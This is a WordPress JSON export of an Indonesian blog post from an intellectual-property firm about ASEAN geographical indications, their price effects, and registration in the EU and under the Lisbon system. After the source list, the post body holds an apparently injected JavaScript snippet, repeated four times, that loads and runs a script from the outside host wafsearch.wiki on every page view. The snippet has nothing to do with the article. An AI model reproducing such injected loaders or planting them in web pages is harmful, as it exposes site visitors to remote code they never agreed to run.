{"id":4352,"date":"2023-09-14T08:18:29","date_gmt":"2023-09-14T08:18:29","guid":{"rendered":"https:\/\/affa.co.id\/?p=4352"},"modified":"2023-09-14T08:18:29","modified_gmt":"2023-09-14T08:18:29","slug":"membangun-kompentisi-asean-di-dunia-melalui-indikasi-geografis","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2023\/09\/14\/membangun-kompentisi-asean-di-dunia-melalui-indikasi-geografis\/","title":{"rendered":"Membangun Kompetensi ASEAN di Dunia Melalui Indikasi Geografis"},"content":{"rendered":"<h4><b>Membangun Kompentisi ASEAN di Dunia Melalui Indikasi Geografis<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Indikasi Geografis (IG) sangat penting dalam mengidentifikasi produk dari suatu wilayah tertentu, yang terkenal akan kualitas dan karakteristiknya yang unik. Indikasi ini semakin penting bagi konsumen yang mencari keaslian dan kualitas dalam kebutuhan belanja mereka.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">IG berlaku di berbagai sektor, termasuk pada industri pertanian dan kerajinan tangan, sehingga mendorong peningkatan kualitas dari keberagaman bidang-bidang tersebut. IG juga menjamin kualitas produk bagi konsumen dan memastikan deskripsi lokasi asal yang tidak menyesatkan. Selain itu, produk-produk dengan Indikasi Geografis sukses mendorong perdagangan pada skala nasional, regional, dan internasional, yang berkontribusi pada pembangunan pedesaan dengan menciptakan lapangan kerja dan pendapatan yang lebih tinggi, dan mempromosikan daerahnya sebagai tujuan wisata. GI juga secara signifikan melestarikan pengetahuan tradisional dan keanekaragaman hayati lokal, yang seringkali berakar pada proses tradisional yang berbasis kemasyarakatan.<\/span><\/p>\n<p><span style=\"font-weight: 500\">Sejak dimulainya <\/span><b>Perjanjian Organisasi Perdagangan Dunia (WTO)<\/b><span style=\"font-weight: 500\"> mengenai <\/span><b>Aspek Terkait Perdagangan Hak Kekayaan Intelektual (Perjanjian TRIPS)<\/b><span style=\"font-weight: 500\"> pada tahun 1994, sistem perlindungan IG telah berkembang secara global, terutama di Asia. Negara-negara Perhimpunan Bangsa-Bangsa Asia Tenggara (ASEAN) telah secara aktif menerapkan identifikasi dan pendaftaran IG sebagai alat strategis dalam menghadirkannya di pasar domestik dan internasional. Sampai dengan Januari 2019, negara-negara ASEAN telah mendaftarkan 346 IG, jumlah ini mencakup 37 GI asing, yang menggambarkan minat besar negara-negara ASEAN terhadap perlindungan Indikasi Geografis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Thailand, Malaysia, &amp; Indonesia Memimpin Kesadaran<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Jumlah pendaftaran tadi memiliki disparitas yang tinggi antar negara-negara ASEAN. Thailand memimpin dengan 115, diikuti oleh Malaysia dengan 84, Indonesia di tempat ketiga dengan 74, Vietnam 69, kemudian Kamboja 3, dan Laos hanya dengan 1 saja. Delapan diantaranya telah terdaftar di pasar Uni Eropa (UE), seperti <\/span><b>Merica Kampot <\/b><span style=\"font-weight: 500\">dari Kamboja dan <\/span><b>Nuoc Nam Phu Quoc <\/b><span style=\"font-weight: 500\">dari Vietnam. Perjanjian Perdagangan Bebas UE-Singapura juga sudah berlaku untuk memperkenalkan IG dari Eropa ke Singapura, yang semakin menggarisbawahi pentingnya IG dalam bisnis perdagangan global.<\/span><\/p>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_4353\" aria-describedby=\"caption-attachment-4353\" style=\"width: 767px\" class=\"wp-caption aligncenter\"><img fetchpriority=\"high\" decoding=\"async\" class=\"wp-image-4353 size-full\" src=\"http:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/09\/fig-sept-1.jpg\" alt=\"\" width=\"767\" height=\"282\" srcset=\"https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/09\/fig-sept-1.jpg 767w, https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/09\/fig-sept-1-300x110.jpg 300w\" sizes=\"(max-width: 767px) 100vw, 767px\" \/><figcaption id=\"caption-attachment-4353\" class=\"wp-caption-text\">Merica Kampot dari Kamboja, terdaftar sebagai Protected Geographical Indication di Uni Eropa sejak 2016.<\/figcaption><\/figure>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Sama seperti Kekayaan Intelektual lainnya, tidak ada satu kerangka hukum yang menaungi seluruh IG di tingkat regional ASEAN. Karena setiap negara mempunyai kerangka hukumnya sendiri. Tapi untuk terhubung dengan UE, sebagian besar negara anggota ASEAN (8 dari 10) telah mengikuti pendekatan <\/span><i><span style=\"font-weight: 500\">sui-generis<\/span><\/i><span style=\"font-weight: 500\"> dalam melindungi IG yang ada, dimana penerapannya mencakup \u201cbuku spesifikasi\u201d atau \u201cdokumen deskripsi\u201d yang berisi deskripsi produk, wilayah geografis, metode produksi, dan hubungan antara produk dan asal geografisnya. Pengecualian untuk Filipina dan Brunei Darussalam yang masih menggabungkan hukum perdlindungan IG melalui Undang-Undang Merek yang mereka miliki.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Indikasi Geografis Meningkatkan Harga Berbagai Macam Produk<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Di Uni Eropa, harga produk IG diperkirakan 2,23 kali lipat harga produk non-IG yang sebanding (rata-rata, 1,5 kali lebih mahal untuk produk pertanian pangan). Data lain di seluruh dunia menyebutkan bahwa IG dapat meningkatkan harga jual 20% s\/d 50% lebih tinggi dibandingkan produk non-IG yang sebanding. Di kawasan ASEAN, IG menunjukkan dampak positif dalam hal volume, harga, dan pembangunan lokal. Misalnya, untuk semua IG lada, <\/span><span style=\"font-weight: 500\">terjadi kenaikan harga pada periode dimana harga lada internasional relatif stabil<\/span><span style=\"font-weight: 500\">. Harga <\/span><b>Lada Putih Kampot <\/b><span style=\"font-weight: 500\">(Kamboja) naik 2,6 kali lipat antara tahun 2009 dan 2018, harga<\/span><b> Lada Putih Muntok<\/b><span style=\"font-weight: 500\"> (Indonesia) naik 6 kali lipat antara tahun 2009 dan 2015, sedangkan harga<\/span><b> Lada Sarawak<\/b><span style=\"font-weight: 500\"> (Malaysia) meningkat hingga 4,32 kali lipat untuk penjualan dalam jumlah besar dari tahun 2003 (sebelum pendaftaran GI) hingga tahun 2016 (setelah pendaftaran GI).<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><img decoding=\"async\" class=\"aligncenter wp-image-4354 size-full\" src=\"http:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/09\/fig-sept-2.jpg\" alt=\"\" width=\"764\" height=\"353\" srcset=\"https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/09\/fig-sept-2.jpg 764w, https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/09\/fig-sept-2-300x139.jpg 300w\" sizes=\"(max-width: 764px) 100vw, 764px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Contoh sukses lainnya adalah pada produk kopi, <\/span><b>Kopi Arabika Flores Bajawa <\/b><span style=\"font-weight: 500\">(Indonesia) meningkat sebesar 2,2 kali lipat dari harga di tingkat petani antara tahun 2005 dan 2015, walaupun kenaikan harga tersebut masih tidak stabil. Untuk <\/span><b>Kopi Doi Chaang<\/b><span style=\"font-weight: 500\"> (Thailand), harga buahnya juga meningkat 2 kali lipat. <\/span><b>Kopi Buon Ma Thuot<\/b><span style=\"font-weight: 500\"> (Vietnam) juga sukses meningkatkan harga jual hingga 3% dari kopi sejenis di negaranya. Begitu juga dengan buah-buahan, maanfaat IG terasa bagi petani <\/span><b>Koh Trung Pomelo<\/b><span style=\"font-weight: 500\"> (Kamboja) yang harga jualnya naik 1,33 kali lipat dari Pomelo (semacam buah jeruk) biasa. Begitu juga dengan <\/span><b>Pomelo Pakpanang Tabtimsiam <\/b><span style=\"font-weight: 500\">(Thailand) yang merasakan manfaat 1,75 kali lipat.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><img decoding=\"async\" class=\"aligncenter wp-image-4355 size-full\" src=\"http:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/09\/fig-sept-3.jpg\" alt=\"\" width=\"762\" height=\"333\" srcset=\"https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/09\/fig-sept-3.jpg 762w, https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/09\/fig-sept-3-300x131.jpg 300w\" sizes=\"(max-width: 762px) 100vw, 762px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Begitu juga dengan barang-barang kerajinan tangan seperti <\/span><b>Lamphun Brocade Thai Silk<\/b><span style=\"font-weight: 500\"> yang mengalami peningkatan pendapatan setelah mendaftarkan IG, dan merasakan kenaikan harga sebesar 1,5 kali lipat.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 500\">Manfaat penting lainnya dari Indikasi Geografis adalah pengembangan ekosistem produk dari pembentukan organisasi kolektif antar produsen dengan pengolah untuk pengelolaan produk, seperti hadirnya <\/span><b>Komunitas Perlindungan Indikasi Geografis Garam Amed Bali <\/b><span style=\"font-weight: 500\">di Indonesia. Pengembangan desa Agrowisata juga bisa tumbuh, seperti di wilayah <\/span><b>Merica Sarawak <\/b><span style=\"font-weight: 500\">(Malaysia), penyelenggaraan festival kopi di Buon Ma Thuot (Vietnam), dan kegiatan pelestarian varietas padi tradisional di Khao Kai Noi (Laos).<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Perlindungan Indikasi Geografis di Uni Eropa dan Pasar Internasional<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Seperti halnya Kekayaan Intelektual lain, IG perlu dilindungi di setiap negara tujuan, sesuai dengan kerangka hukum negara tersebut. Agar produk non-UE dapat didaftarkan di pasar UE, produsen dapat mengirimkan permohonan mereka secara langsung, atau melalui otoritas nasional di negaranya ke Komisi Eropa.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Untuk minuman beralkohol dan produk pertanian pangan, Komisi Eropa membutuhkan waktu maksimal 12 dan 6 bulan untuk memeriksa permohonan tersebut. IG asing ini akan terdaftar di pasar UE jika memenuhi persyaratan sistem UE, dimana memiliki keterkaitan yang erat antara produk dengan tempat asalnya dan memiliki mekanisme kontrol. IG asing ini dapat dilindungi sebagai Penunjukan Asal yang Dilindungi (PDO) atau Indikasi Geografis yang Dilindungi (PGI).<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>PDO atau PGI?<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Produk yang terdaftar sebagai PDO memiliki kaitan paling penting dengan tempat pembuatannya, dan setiap bagian dari proses produksi, pemrosesan, dan penyiapan berlangsung di wilayah tertentu. Misalnya untuk minuman anggur, berarti bahwa buah anggur tersebut harus berasal secara eksklusif dari wilayah geografis tempat minuman anggur tersebut dibuat.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4356 size-full\" src=\"http:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/09\/fig-sept-4.jpg\" alt=\"\" width=\"627\" height=\"276\" srcset=\"https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/09\/fig-sept-4.jpg 627w, https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/09\/fig-sept-4-300x132.jpg 300w\" sizes=\"(max-width: 627px) 100vw, 627px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Sedangkan untuk kategori PGI, setidaknya sejumlah besar produk dan salah satu dari tahapan produksi, pemrosesan, atau penyiapan dilakukan di wilayah tersebut. Contohnya untuk minuman anggur, berarti setidaknya 85% anggur yang digunakan harus berasal secara eksklusif dari wilayah geografis tempat anggur tersebut dibuat. Contoh lain untuk minuman beralkohol, setidaknya salah satu tahap penyulingan atau persiapan dilakukan di wilayah tersebut. Namun, produk mentahnya bisa saja berasal dari tempat lain selain daerah tersebut.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">IG asing tadi kemudian akan memperoleh manfaat perlindungan yang sama seperti IG yang berasal dari UE dan dapat menggunakan logo PDO atau PGI.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Indikasi Geografis Asal ASEAN yang Terdaftar di Uni Eropa:<\/b><\/h4>\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Vietnam Ph\u00fa Qu\u1ed1c PDO (sejak 2012)<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Thailand Khao Hom Mali Thung Kula Rong-Hai PGI (sejak 2013)<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Kafae Doi Chaang PGI (sejak 2015)<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Kafae Doi Tung PGI (sejak 2015)<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Cambodia Kampot Pepper PGI (sejak 2016)<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Khao Sangyod Muang Phatthalung PGI (sejak 2016)<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Indonesia Kopi Arabika Gayo PGI (sejak 2017)<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Skor Thnot Kampong Speu PGI (sejak 2019)<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4357 size-full\" src=\"http:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/09\/fig-sept-5.jpg\" alt=\"\" width=\"617\" height=\"251\" srcset=\"https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/09\/fig-sept-5.jpg 617w, https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/09\/fig-sept-5-300x122.jpg 300w\" sizes=\"(max-width: 617px) 100vw, 617px\" \/><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Mendaftarkan Indikasi Geografis Melalui Sistem Lisbon untuk Pasar Internasional<\/b><\/h4>\n<p><b>\u201cUndang-Undang Jenewa dari Perjanjian Lisbon tentang Sebutan Asal dan Indikasi Geografis\u201d<\/b><span style=\"font-weight: 500\"> (2015) menghadirkan perlindungan internasional yang komprehensif dan efektif untuk produk berkualitas berbasis daerah asal. Perlindungan ini meliputi semua negara yang ikut serta di dalamnya (ada 29 negara anggota pada tahun 2019) dan bisa diakses melalui prosedur pendaftaran tunggal WIPO, sehingga dapat mengurangi formalitas dan biaya daripada diajukan pendaftarannya secara terpisah.<\/span><\/p>\n<p><span style=\"font-weight: 500\">Namun permohonan pendaftaran internasional ini harus diajukan langsung oleh penerima manfaat, perwakilan mereka, atau otoritas nasional yang kompeten (biasanya Kantor Kekayaan Intelektual Nasional). Segala sebutan atas lokasi asal atau Indikasi Geografis yang didaftarkan akan tetap berlaku selama terlindung di negara asal dan akan dilindungi dari penyalahgunaan atau peniruan apa pun terkait barang-barang dari jenis yang sama, atau barang-barang yang bukan dari jenis yang sama, atau layanan, dalam kondisi tertentu di semua negara anggota Sistem Lisbon, kecuali jika ada penolakan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Kamboja menjadi negara pertama di kawasan ASEAN yang mengikuti Undang-Undang Jenewa dan memanfaatkan Sistem Lisbon untuk melindungi Indikasi Geografis yang dimilikinya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Kesimpulan<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Indikasi Geografis telah menjadi sarana yang ampuh bagi negara-negara Asia Tenggara untuk menunjukkan kompetensi dan keterlibatan produk-produk unggulan mereka di pasar global. IG juga menjamin keaslian dan kualitas produk bagi konsumen dan mendorong pertumbuhan ekonomi, pembangunan pedesaan, dan pelestarian budaya di negara-negara ASEAN. Dengan semakin banyaknya IG yang terdaftar, khususnya di negara-negara seperti Thailand, Malaysia, dan Indonesia, serta meningkatnya minat terhadap perlindungan IG, negara-negara ASEAN akan semakin kuat pengaruhnya di kancah internasional.<\/span><\/p>\n<p><strong>Jika Anda membutuhkan informasi atau bantuan lebih lanjut mengenai Indikasi Geografis di Indonesia, ASEAN, atau di negara lainnya, silakan menghubungi kami melalui <a href=\"mailto:affa@cbn.net.id\">affa@cbn.net.id<\/a>.<\/strong><\/p>\n<p>[dt_divider style=&#8221;thin&#8221; \/]<\/p>\n<p><strong>Sumber:<\/strong><\/p>\n<ul>\n<li style=\"font-weight: 500\"><a href=\"https:\/\/asean.org\/wp-content\/uploads\/2021\/01\/GEOGRAPHICAL-INDICATIONS-IN-THE-ASEAN-REGION.pdf\"><span style=\"font-weight: 500\">Indikasi Geografis di Kawasan ASEAN<\/span><\/a><\/li>\n<\/ul>\n<p>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Membangun Kompentisi ASEAN di Dunia Melalui Indikasi Geografis Indikasi Geografis (IG) sangat penting dalam mengidentifikasi produk dari suatu wilayah tertentu, yang terkenal akan kualitas dan karakteristiknya yang unik. Indikasi ini semakin penting bagi konsumen yang mencari keaslian dan kualitas dalam kebutuhan belanja mereka. &nbsp; IG berlaku di berbagai sektor, termasuk pada industri pertanian dan kerajinan tangan, sehingga mendorong peningkatan kualitas dari keberagaman bidang-bidang tersebut. IG juga menjamin kualitas produk bagi konsumen dan memastikan deskripsi lokasi asal yang tidak menyesatkan. Selain itu, produk-produk dengan Indikasi Geografis sukses mendorong perdagangan pada skala nasional, regional, dan internasional, yang berkontribusi pada pembangunan pedesaan dengan menciptakan lapangan kerja dan pendapatan yang lebih tinggi, dan mempromosikan daerahnya sebagai tujuan wisata. GI juga secara signifikan melestarikan pengetahuan tradisional dan keanekaragaman hayati lokal, yang seringkali berakar pada proses tradisional yang berbasis kemasyarakatan. Sejak dimulainya Perjanjian Organisasi Perdagangan Dunia (WTO) mengenai Aspek Terkait Perdagangan Hak Kekayaan Intelektual (Perjanjian TRIPS) pada tahun 1994, sistem perlindungan IG telah berkembang secara global, terutama di Asia. Negara-negara Perhimpunan Bangsa-Bangsa Asia Tenggara (ASEAN) telah secara aktif menerapkan identifikasi dan pendaftaran IG sebagai alat strategis dalam menghadirkannya di pasar domestik dan internasional. Sampai dengan Januari 2019, negara-negara ASEAN telah mendaftarkan 346 IG, jumlah ini mencakup 37 GI asing, yang menggambarkan minat besar negara-negara ASEAN terhadap perlindungan Indikasi Geografis. &nbsp; Thailand, Malaysia, &amp; Indonesia Memimpin Kesadaran Jumlah pendaftaran tadi memiliki disparitas yang tinggi antar negara-negara ASEAN. Thailand memimpin dengan 115, diikuti oleh Malaysia dengan 84, Indonesia di tempat ketiga dengan 74, Vietnam 69, kemudian Kamboja 3, dan Laos hanya dengan 1 saja. Delapan diantaranya telah terdaftar di pasar Uni Eropa (UE), seperti Merica Kampot dari Kamboja dan Nuoc Nam Phu Quoc dari Vietnam. Perjanjian Perdagangan Bebas UE-Singapura juga sudah berlaku untuk memperkenalkan IG dari Eropa ke Singapura, yang semakin menggarisbawahi pentingnya IG dalam bisnis perdagangan global. &nbsp; &nbsp; Sama seperti Kekayaan Intelektual lainnya, tidak ada satu kerangka hukum yang menaungi seluruh IG di tingkat regional ASEAN. Karena setiap negara mempunyai kerangka hukumnya sendiri. Tapi untuk terhubung dengan UE, sebagian besar negara anggota ASEAN (8 dari 10) telah mengikuti pendekatan sui-generis dalam melindungi IG yang ada, dimana penerapannya mencakup \u201cbuku spesifikasi\u201d atau \u201cdokumen deskripsi\u201d yang berisi deskripsi produk, wilayah geografis, metode produksi, dan hubungan antara produk dan asal geografisnya. Pengecualian untuk Filipina dan Brunei Darussalam yang masih menggabungkan hukum perdlindungan IG melalui Undang-Undang Merek yang mereka miliki. &nbsp; Indikasi Geografis Meningkatkan Harga Berbagai Macam Produk Di Uni Eropa, harga produk IG diperkirakan 2,23 kali lipat harga produk non-IG yang sebanding (rata-rata, 1,5 kali lebih mahal untuk produk pertanian pangan). Data lain di seluruh dunia menyebutkan bahwa IG dapat meningkatkan harga jual 20% s\/d 50% lebih tinggi dibandingkan produk non-IG yang sebanding. Di kawasan ASEAN, IG menunjukkan dampak positif dalam hal volume, harga, dan pembangunan lokal. Misalnya, untuk semua IG lada, terjadi kenaikan harga pada periode dimana harga lada internasional relatif stabil. Harga Lada Putih Kampot (Kamboja) naik 2,6 kali lipat antara tahun 2009 dan 2018, harga Lada Putih Muntok (Indonesia) naik 6 kali lipat antara tahun 2009 dan 2015, sedangkan harga Lada Sarawak (Malaysia) meningkat hingga 4,32 kali lipat untuk penjualan dalam jumlah besar dari tahun 2003 (sebelum pendaftaran GI) hingga tahun 2016 (setelah pendaftaran GI). &nbsp; &nbsp; Contoh sukses lainnya adalah pada produk kopi, Kopi Arabika Flores Bajawa (Indonesia) meningkat sebesar 2,2 kali lipat dari harga di tingkat petani antara tahun 2005 dan 2015, walaupun kenaikan harga tersebut masih tidak stabil. Untuk Kopi Doi Chaang (Thailand), harga buahnya juga meningkat 2 kali lipat. Kopi Buon Ma Thuot (Vietnam) juga sukses meningkatkan harga jual hingga 3% dari kopi sejenis di negaranya. Begitu juga dengan buah-buahan, maanfaat IG terasa bagi petani Koh Trung Pomelo (Kamboja) yang harga jualnya naik 1,33 kali lipat dari Pomelo (semacam buah jeruk) biasa. Begitu juga dengan Pomelo Pakpanang Tabtimsiam (Thailand) yang merasakan manfaat 1,75 kali lipat. &nbsp; &nbsp; Begitu juga dengan barang-barang kerajinan tangan seperti Lamphun Brocade Thai Silk yang mengalami peningkatan pendapatan setelah mendaftarkan IG, dan merasakan kenaikan harga sebesar 1,5 kali lipat.\u00a0 Manfaat penting lainnya dari Indikasi Geografis adalah pengembangan ekosistem produk dari pembentukan organisasi kolektif antar produsen dengan pengolah untuk pengelolaan produk, seperti hadirnya Komunitas Perlindungan Indikasi Geografis Garam Amed Bali di Indonesia. Pengembangan desa Agrowisata juga bisa tumbuh, seperti di wilayah Merica Sarawak (Malaysia), penyelenggaraan festival kopi di Buon Ma Thuot (Vietnam), dan kegiatan pelestarian varietas padi tradisional di Khao Kai Noi (Laos). &nbsp; Perlindungan Indikasi Geografis di Uni Eropa dan Pasar Internasional Seperti halnya Kekayaan Intelektual lain, IG perlu dilindungi di setiap negara tujuan, sesuai dengan kerangka hukum negara tersebut. Agar produk non-UE dapat didaftarkan di pasar UE, produsen dapat mengirimkan permohonan mereka secara langsung, atau melalui otoritas nasional di negaranya ke Komisi Eropa. &nbsp; Untuk minuman beralkohol dan produk pertanian pangan, Komisi Eropa membutuhkan waktu maksimal 12 dan 6 bulan untuk memeriksa permohonan tersebut. IG asing ini akan terdaftar di pasar UE jika memenuhi persyaratan sistem UE, dimana memiliki keterkaitan yang erat antara produk dengan tempat asalnya dan memiliki mekanisme kontrol. IG asing ini dapat dilindungi sebagai Penunjukan Asal yang Dilindungi (PDO) atau Indikasi Geografis yang Dilindungi (PGI). &nbsp; PDO atau PGI? Produk yang terdaftar sebagai PDO memiliki kaitan paling penting dengan tempat pembuatannya, dan setiap bagian dari proses produksi, pemrosesan, dan penyiapan berlangsung di wilayah tertentu. Misalnya untuk minuman anggur, berarti bahwa buah anggur tersebut harus berasal secara eksklusif dari wilayah geografis tempat minuman anggur tersebut dibuat. &nbsp; &nbsp; Sedangkan untuk kategori PGI, setidaknya sejumlah besar produk dan salah satu dari tahapan produksi, pemrosesan, atau penyiapan dilakukan di wilayah tersebut. Contohnya untuk minuman anggur, berarti setidaknya 85% anggur yang digunakan harus berasal secara eksklusif dari wilayah geografis tempat anggur tersebut dibuat. Contoh lain untuk minuman beralkohol, setidaknya salah satu tahap penyulingan atau persiapan dilakukan di wilayah tersebut. Namun, produk mentahnya bisa saja berasal dari tempat lain selain daerah tersebut. &nbsp; IG asing tadi kemudian akan memperoleh manfaat perlindungan yang sama seperti IG yang berasal dari UE dan dapat menggunakan logo PDO atau PGI. &nbsp; Indikasi Geografis Asal ASEAN yang Terdaftar di Uni Eropa: Vietnam Ph\u00fa<\/p>\n","protected":false},"author":1,"featured_media":4361,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277],"tags":[305,307,308,309,310,314,315,363,369,370,371],"class_list":["post-4352","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","tag-affa","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa","tag-ipr","tag-indikasi-geografis","tag-komoditas","tag-tradisional"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4352","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=4352"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4352\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/4361"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=4352"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=4352"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=4352"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}